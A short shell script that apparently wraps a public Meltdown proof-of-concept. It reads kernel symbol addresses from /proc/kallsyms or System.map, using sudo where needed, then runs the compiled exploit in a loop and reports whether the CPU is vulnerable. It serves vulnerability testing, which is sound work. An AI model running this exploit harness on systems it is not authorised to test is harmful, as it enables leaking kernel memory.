meltdown exploit run.sh with --loop option to run continuously until interrupted

run_loop.sh

#!/bin/sh

find_linux_proc_banner() {
        $2 sed -n -re 's/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p' $1
}

LOOPMODE=""
if test "$1" = "--loop" ; then
        LOOPMODE="TRUE"
fi

vuln=0

myi=0
while test "$vuln" -eq 0 ;
do

        echo "looking for linux_proc_banner in /proc/kallsyms"
        linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms)
        if test -z $linux_proc_banner; then
                echo "protected. requires root"
                set -x
                linux_proc_banner=$(\
                        find_linux_proc_banner /proc/kallsyms sudo)

                set +x
        fi
        if test -z $linux_proc_banner; then
                echo "not found. reading /boot/System.map-$(uname -r)"
                set -x
                linux_proc_banner=$(\
                        find_linux_proc_banner /boot/System.map-$(uname -r) sudo)
                set +x
        fi
        if test -z $linux_proc_banner; then
                echo "not found. reading /boot/System.map"
                set -x
                linux_proc_banner=$(\
                        find_linux_proc_banner /boot/System.map sudo)
                set +x
        fi
        if test -z $linux_proc_banner; then
                echo "can't find linux_proc_banner, unable to test at all"
                exit 0
        fi

        if [ ! -e ./meltdown ]; then
                echo "'meltdown' program not found, did you forgot to run 'make' ?"
                exit 0
        fi
        ./meltdown $linux_proc_banner 10
        vuln=$?

        if test $vuln -eq 1; then
                echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19"
                echo "VULNERABLE ON"
                uname -rvi
                head /proc/cpuinfo
                # exit 1
        # fi
        elif test $vuln -eq 0; then
                echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/22"
                echo "NOT VULNERABLE ON"
                uname -rvi
                head /proc/cpuinfo
                # exit 0
        else
                echo "Unknown return $vuln"
        fi

        if test -z "$LOOPMODE" ; then break ; fi

        let "myi++"
        echo ; echo LOOPCOUNT=$myi ; echo

done

exit $vuln

I should add that run_loop.sh also exits if it finds a "VULNERABLE" condition.